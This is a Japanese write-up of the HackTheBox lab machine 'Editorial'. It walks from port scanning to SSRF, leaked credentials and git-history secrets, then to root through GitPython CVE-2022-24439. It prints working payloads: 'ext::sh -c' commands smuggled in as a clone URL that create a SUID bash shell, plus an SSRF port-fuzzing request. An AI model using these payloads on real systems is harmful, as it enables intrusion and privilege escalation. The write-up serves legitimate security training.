概要
HackTheBox「Editorial」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.20 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx 1.18.0 |
ホスト名が分かったので/etc/hosts
へ追加しWebページにアクセスします。
10.10.11.20 editorial.htb
ディレクトリの列挙を行います。
$ dirsearch -u http://editorial.htb/
[01:44:52] 200 - 3KB - /about
[01:46:37] 200 - 7KB - /upload
サブドメインの列挙を行いましたが、見つかりませんでした。
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.editorial.htb" -u http://editorial.htb -fs 178
/upload
でファイルをアップロード出来るので脆弱性を探します。
/upload
でPOSTリクエストを送信できますが、特徴的な変化は見られませんでした。
/upload
のソースコードを見ると、スクリプトを発見しました。
<script>
document.getElementById('button-cover').addEventListener('click', function(e) {
e.preventDefault();
var formData = new FormData(document.getElementById('form-cover'));
var xhr = new XMLHttpRequest();
xhr.open('POST', '/upload-cover');
xhr.onload = function() {
if (xhr.status === 200) {
var imgUrl = xhr.responseText;
console.log(imgUrl);
document.getElementById('bookcover').src = imgUrl;
document.getElementById('bookfile').value = '';
document.getElementById('bookurl').value = '';
}
};
xhr.send(formData);
});
</script>
Cover URL~
の部分に画像のURLを挿入し右のPreview
ボタンをクリックすると、URLへリクエストが飛び、/static/uploads
配下にファイルを保存し、imgタグで画像が表示されると分かりました。
- Kali側のアクセスログ
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.20 - - [12/Jul/2024 03:54:40] "GET /5iW7kC8.jpg HTTP/1.1" 200 -
- プレビューのリクエストとレスポンス
- リクエストした画像の表示
- imgタグで
/static/uploads
を参照している
同様の手順でターゲットマシンのローカルへリクエストを送ることもできると分かりました。
SSRF
の脆弱性があるかもしれません。
オープンなポートをブルートフォースで見つけます。
Burpの無料版では時間がかかるのでFFUFを使用します。
まず、リクエストの内容をファイルに保存します。
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------35607274802097688835196443196
Content-Length: 408
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload
-----------------------------35607274802097688835196443196
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------35607274802097688835196443196
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------35607274802097688835196443196--
フィルタリングを適宜使用し、FFUFを実行します。
$ ffuf -c -w port.txt -request request.txt -u http://editorial.htb/upload-cover -fs 61
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 287ms]
5000
番ポートが見つかりました。
リクエストを送信するとパスが返ってきました。
そのパスへGETリクエストを送信するとメッセージが返ってきました。
$ cat message.txt | jq
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
/api/latest/metadata/messages/authors
のエンドポイントが怪しいです。
リクエストを送信します。
パスが返ってきたのでアクセスするとユーザー名やパスワードが返ってきました。
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
Username: dev
,Password: dev080217_devAPI!@
でSSH接続に成功しました。
$ ssh dev@Editorial.htb
dev@editorial:~$
/home/dev/user.txt
からユーザーフラグを入手できます。
e035b8f2832089942120f97162787ea8
Root Flag
linpeas
をKaliからダウンロードし、実行します。
$ ./linpeas.sh > result.txt
しかし興味深いものは見つかりませんでした。
/home
からprod
アカウントを発見しました。
prod
アカウントへの展開が必要かもしれません。
$ ls -l /home
total 8
drwxr-x--- 5 dev dev 4096 Jul 12 11:53 dev
drwxr-x--- 6 prod prod 4096 Jul 12 11:54 prod
/home/dev/apps/
を確認すると.git
フォルダを発見しました。
$ ls -la apps/
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 5 dev dev 4096 Jul 12 11:53 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git
git log
で変更履歴を確認するとdowngrading prod to dev
という興味深い履歴を発見しました。
$ git log
(省略)
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
git show
で変更箇所を見るとprod
アカウントのクレデンシャル情報を発見しました。
$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
(省略)
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
prod
アカウントに入ります。
$ su prod
Password:
prod@editorial:/home/dev$
sudo -l
で確認すると/opt/internal_apps/clone_changes/clone_prod_change.py
を発見しました。
$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
/opt/internal_apps/clone_changes/clone_prod_change.py
の内容を確認します。
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
このコードでは、指定したURLのリポジトリを/opt/internal_apps/clone_changes
へクローンしています。
git
のpythonモジュールをインポートしているのでバージョンを確認します。
$ pip3 list | grep -i "git"
gitdb 4.0.10
GitPython 3.1.29
調べるとGitPython 3.1.29
にはCVE-2022-24439
の脆弱性があると分かりました。
下記のリポジトリを参考にします。
脆弱性を悪用できるか確かめます。
$ /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'
root権限でファイルが作成されているのを確認できました。
$ ls -l
-rw-r--r-- 1 root root 0 Jul 12 09:37 pwned
シェルをコピーしてSUIDをセットしrootのシェルを起動します。
$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/bash'
$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% u+s% /tmp/bash'
$ ls -l
total 1388
-rwsr-xr-x 1 root root 1396520 Jul 12 12:54 bash
rootのシェルを得られました。
$ /tmp/bash -p
bash-5.1# whoami
root
/root/root.txt
からフラグを入手できます。
ecf8d83aba4a48bb79c9c7fc1704e715